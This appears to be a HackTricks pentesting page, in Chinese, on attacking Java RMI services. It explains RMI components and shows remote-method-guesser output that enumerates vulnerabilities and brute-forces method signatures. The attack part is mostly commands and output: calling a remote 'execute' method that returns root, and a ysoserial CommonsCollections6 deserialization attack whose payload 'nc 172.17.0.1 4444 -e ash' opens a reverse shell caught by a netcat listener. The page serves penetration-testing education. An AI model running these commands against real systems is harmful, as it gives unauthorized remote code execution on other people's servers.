1098/1099/1050 - Pentesting Java RMI - RMI-IIOP
Reading time: 13 minutes
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
基本信息
Java远程方法调用,或称为 Java RMI,是一种面向对象的 RPC 机制,允许位于一个 Java虚拟机 中的对象调用位于另一个 Java虚拟机 中的对象的方法。这使得开发人员能够使用面向对象的范式编写分布式应用程序。从攻击的角度来看,关于 Java RMI 的简短介绍可以在 this blackhat talk 中找到。
默认端口: 1090,1098,1099,1199,4443-4446,8999-9010,9999
PORT STATE SERVICE VERSION
1090/tcp open ssl/java-rmi Java RMI
9010/tcp open java-rmi Java RMI
37471/tcp open java-rmi Java RMI
40259/tcp open ssl/java-rmi Java RMI
通常,只有默认的 Java RMI 组件(RMI Registry 和 Activation System)绑定到常见端口。实现实际 RMI 应用程序的 remote objects 通常绑定到随机端口,如上面的输出所示。
nmap 有时在识别受 SSL 保护的 RMI 服务时会遇到问题。如果您在常见的 RMI 端口上遇到未知的 ssl 服务,您应该进一步调查。
RMI 组件
简单来说,Java RMI 允许开发者在网络上提供一个 Java object。这打开了一个 TCP 端口,客户端可以连接并调用相应对象的方法。尽管这听起来很简单,但 Java RMI 需要解决几个挑战:
- 要通过 Java RMI 调度方法调用,客户端需要知道目标对象的 IP 地址、监听端口、实现的类或接口以及
ObjID
(ObjID
是在对象可用于网络时创建的唯一且随机的标识符。它是必需的,因为 Java RMI 允许多个对象在同一 TCP 端口上监听)。 - 远程客户端可以通过调用暴露对象的方法在服务器上分配资源。Java 虚拟机 需要跟踪这些资源中哪些仍在使用,哪些可以被垃圾回收。
第一个挑战由 RMI registry 解决,它基本上是 Java RMI 的命名服务。RMI registry 本身也是一个 RMI service,但实现的接口和 ObjID
是固定的,并为所有 RMI 客户端所知。这允许 RMI 客户端仅通过知道相应的 TCP 端口来使用 RMI registry。
当开发者希望在网络中提供他们的 Java objects 时,他们通常将其绑定到 RMI registry。registry 存储连接到对象所需的所有信息(IP 地址、监听端口、实现的类或接口和 ObjID
值),并以人类可读的名称(bound name)提供。希望使用 RMI service 的客户端向 RMI registry 请求相应的 bound name,注册表返回所有连接所需的信息。因此,情况基本上与普通的 DNS 服务相同。以下列表显示了一个小示例:
import java.rmi.registry.Registry;
import java.rmi.registry.LocateRegistry;
import lab.example.rmi.interfaces.RemoteService;
public class ExampleClient {
private static final String remoteHost = "172.17.0.2";
private static final String boundName = "remote-service";
public static void main(String[] args)
{
try {
Registry registry = LocateRegistry.getRegistry(remoteHost); // Connect to the RMI registry
RemoteService ref = (RemoteService)registry.lookup(boundName); // Lookup the desired bound name
String response = ref.remoteMethod(); // Call a remote method
} catch( Exception e) {
e.printStackTrace();
}
}
}
上述提到的第二个挑战是由 Distributed Garbage Collector (DGC) 解决的。这是另一个具有众所周知的 ObjID
值的 RMI service,并且基本上在每个 RMI endpoint 上都可用。当 RMI client 开始使用 RMI service 时,它会向 DGC 发送信息,表明相应的 remote object 正在使用中。然后,DGC 可以跟踪引用计数,并能够清理未使用的对象。
连同已弃用的 Activation System,这就是 Java RMI 的三个默认组件:
- RMI Registry (
ObjID = 0
) - Activation System (
ObjID = 1
) - Distributed Garbage Collector (
ObjID = 2
)
Java RMI 的默认组件已知攻击向量已有一段时间,并且在过时的 Java 版本中存在多个漏洞。从攻击者的角度来看,这些默认组件很有趣,因为它们实现了已知的类/接口,并且可以轻松与之交互。对于自定义的 RMI services,情况则不同。要调用 remote object 上的方法,您需要提前知道相应的方法签名。如果不知道现有的方法签名,就无法与 RMI service 进行通信。
RMI Enumeration
remote-method-guesser 是一个 Java RMI 漏洞扫描器,能够自动识别常见的 RMI vulnerabilities。每当您识别到一个 RMI endpoint 时,您应该尝试一下:
$ rmg enum 172.17.0.2 9010
[+] RMI registry bound names:
[+]
[+] - plain-server2
[+] --> de.qtc.rmg.server.interfaces.IPlainServer (unknown class)
[+] Endpoint: iinsecure.dev:37471 TLS: no ObjID: [55ff5a5d:17e0501b054:-7ff7, 3638117546492248534]
[+] - legacy-service
[+] --> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub (unknown class)
[+] Endpoint: iinsecure.dev:37471 TLS: no ObjID: [55ff5a5d:17e0501b054:-7ffc, 708796783031663206]
[+] - plain-server
[+] --> de.qtc.rmg.server.interfaces.IPlainServer (unknown class)
[+] Endpoint: iinsecure.dev:37471 TLS: no ObjID: [55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]
[+]
[+] RMI server codebase enumeration:
[+]
[+] - http://iinsecure.dev/well-hidden-development-folder/
[+] --> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub
[+] --> de.qtc.rmg.server.interfaces.IPlainServer
[+]
[+] RMI server String unmarshalling enumeration:
[+]
[+] - Caught ClassNotFoundException during lookup call.
[+] --> The type java.lang.String is unmarshalled via readObject().
[+] Configuration Status: Outdated
[+]
[+] RMI server useCodebaseOnly enumeration:
[+]
[+] - Caught MalformedURLException during lookup call.
[+] --> The server attempted to parse the provided codebase (useCodebaseOnly=false).
[+] Configuration Status: Non Default
[+]
[+] RMI registry localhost bypass enumeration (CVE-2019-2684):
[+]
[+] - Caught NotBoundException during unbind call (unbind was accepeted).
[+] Vulnerability Status: Vulnerable
[+]
[+] RMI Security Manager enumeration:
[+]
[+] - Security Manager rejected access to the class loader.
[+] --> The server does use a Security Manager.
[+] Configuration Status: Current Default
[+]
[+] RMI server JEP290 enumeration:
[+]
[+] - DGC rejected deserialization of java.util.HashMap (JEP290 is installed).
[+] Vulnerability Status: Non Vulnerable
[+]
[+] RMI registry JEP290 bypass enmeration:
[+]
[+] - Caught IllegalArgumentException after sending An Trinh gadget.
[+] Vulnerability Status: Vulnerable
[+]
[+] RMI ActivationSystem enumeration:
[+]
[+] - Caught IllegalArgumentException during activate call (activator is present).
[+] --> Deserialization allowed - Vulnerability Status: Vulnerable
[+] --> Client codebase enabled - Configuration Status: Non Default
枚举操作的输出在项目的文档页面中有更详细的解释。根据结果,您应该尝试验证识别出的漏洞。
_远程方法猜测器_显示的ObjID
值可用于确定服务的正常运行时间。这可能有助于识别其他漏洞:
$ rmg objid '[55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]'
[+] Details for ObjID [55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]
[+]
[+] ObjNum: -4004948013687638236
[+] UID:
[+] Unique: 1442798173
[+] Time: 1640761503828 (Dec 29,2021 08:05)
[+] Count: -32760
暴力破解远程方法
即使在枚举过程中没有发现漏洞,可用的 RMI 服务仍可能暴露危险功能。此外,尽管与 RMI 默认组件的 RMI 通信受到反序列化过滤器的保护,但与自定义 RMI 服务的通信通常没有这些过滤器。因此,了解 RMI 服务上的有效方法签名是非常有价值的。
不幸的是,Java RMI 不支持枚举 远程对象 上的方法。也就是说,可以使用像 remote-method-guesser 或 rmiscout 这样的工具来暴力破解方法签名:
$ rmg guess 172.17.0.2 9010
[+] Reading method candidates from internal wordlist rmg.txt
[+] 752 methods were successfully parsed.
[+] Reading method candidates from internal wordlist rmiscout.txt
[+] 2550 methods were successfully parsed.
[+]
[+] Starting Method Guessing on 3281 method signature(s).
[+]
[+] MethodGuesser is running:
[+] --------------------------------
[+] [ plain-server2 ] HIT! Method with signature String execute(String dummy) exists!
[+] [ plain-server2 ] HIT! Method with signature String system(String dummy, String[] dummy2) exists!
[+] [ legacy-service ] HIT! Method with signature void logMessage(int dummy1, String dummy2) exists!
[+] [ legacy-service ] HIT! Method with signature void releaseRecord(int recordID, String tableName, Integer remoteHashCode) exists!
[+] [ legacy-service ] HIT! Method with signature String login(java.util.HashMap dummy1) exists!
[+] [6562 / 6562] [#####################################] 100%
[+] done.
[+]
[+] Listing successfully guessed methods:
[+]
[+] - plain-server2 == plain-server
[+] --> String execute(String dummy)
[+] --> String system(String dummy, String[] dummy2)
[+] - legacy-service
[+] --> void logMessage(int dummy1, String dummy2)
[+] --> void releaseRecord(int recordID, String tableName, Integer remoteHashCode)
[+] --> String login(java.util.HashMap dummy1)
识别的方法可以这样调用:
$ rmg call 172.17.0.2 9010 '"id"' --bound-name plain-server --signature "String execute(String dummy)" --plugin GenericPrint.jar
[+] uid=0(root) gid=0(root) groups=0(root)
或者你可以像这样执行反序列化攻击:
$ rmg serial 172.17.0.2 9010 CommonsCollections6 'nc 172.17.0.1 4444 -e ash' --bound-name plain-server --signature "String execute(String dummy)"
[+] Creating ysoserial payload... done.
[+]
[+] Attempting deserialization attack on RMI endpoint...
[+]
[+] Using non primitive argument type java.lang.String on position 0
[+] Specified method signature is String execute(String dummy)
[+]
[+] Caught ClassNotFoundException during deserialization attack.
[+] Server attempted to deserialize canary class 6ac727def61a4800a09987c24352d7ea.
[+] Deserialization attack probably worked :)
$ nc -vlp 4444
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 172.17.0.2.
Ncat: Connection from 172.17.0.2:45479.
id
uid=0(root) gid=0(root) groups=0(root)
更多信息可以在以下文章中找到:
除了猜测,您还应该在搜索引擎或 GitHub 上查找遇到的 RMI 服务的接口或实现。bound name 和实现类或接口的名称在这里可能会有所帮助。
已知接口
remote-method-guesser 将类或接口标记为 known
,如果它们在工具的已知 RMI services 的内部数据库中列出。在这些情况下,您可以使用 known
操作获取有关相应 RMI service 的更多信息:
$ rmg enum 172.17.0.2 1090 | head -n 5
[+] RMI registry bound names:
[+]
[+] - jmxrmi
[+] --> javax.management.remote.rmi.RMIServerImpl_Stub (known class: JMX Server)
[+] Endpoint: localhost:41695 TLS: no ObjID: [7e384a4f:17e0546f16f:-7ffe, -553451807350957585]
$ rmg known javax.management.remote.rmi.RMIServerImpl_Stub
[+] Name:
[+] JMX Server
[+]
[+] Class Name:
[+] - javax.management.remote.rmi.RMIServerImpl_Stub
[+] - javax.management.remote.rmi.RMIServer
[+]
[+] Description:
[+] Java Management Extensions (JMX) can be used to monitor and manage a running Java virtual machine.
[+] This remote object is the entrypoint for initiating a JMX connection. Clients call the newClient
[+] method usually passing a HashMap that contains connection options (e.g. credentials). The return
[+] value (RMIConnection object) is another remote object that is when used to perform JMX related
[+] actions. JMX uses the randomly assigned ObjID of the RMIConnection object as a session id.
[+]
[+] Remote Methods:
[+] - String getVersion()
[+] - javax.management.remote.rmi.RMIConnection newClient(Object params)
[+]
[+] References:
[+] - https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html
[+] - https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi
[+]
[+] Vulnerabilities:
[+]
[+] -----------------------------------
[+] Name:
[+] MLet
[+]
[+] Description:
[+] MLet is the name of an MBean that is usually available on JMX servers. It can be used to load
[+] other MBeans dynamically from user specified codebase locations (URLs). Access to the MLet MBean
[+] is therefore most of the time equivalent to remote code execution.
[+]
[+] References:
[+] - https://github.com/qtc-de/beanshooter
[+]
[+] -----------------------------------
[+] Name:
[+] Deserialization
[+]
[+] Description:
[+] Before CVE-2016-3427 got resolved, JMX accepted arbitrary objects during a call to the newClient
[+] method, resulting in insecure deserialization of untrusted objects. Despite being fixed, the
[+] actual JMX communication using the RMIConnection object is not filtered. Therefore, if you can
[+] establish a working JMX connection, you can also perform deserialization attacks.
[+]
[+] References:
[+] - https://github.com/qtc-de/beanshooter
Shodan
port:1099 java
Tools
References
HackTricks 自动命令
Protocol_Name: Java RMI #Protocol Abbreviation if there is one.
Port_Number: 1090,1098,1099,1199,4443-4446,8999-9010,9999 #Comma separated if there is more than one.
Protocol_Description: Java Remote Method Invocation #Protocol Abbreviation Spelled out
Entry_1:
Name: Enumeration
Description: Perform basic enumeration of an RMI service
Command: rmg enum {IP} {PORT}
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。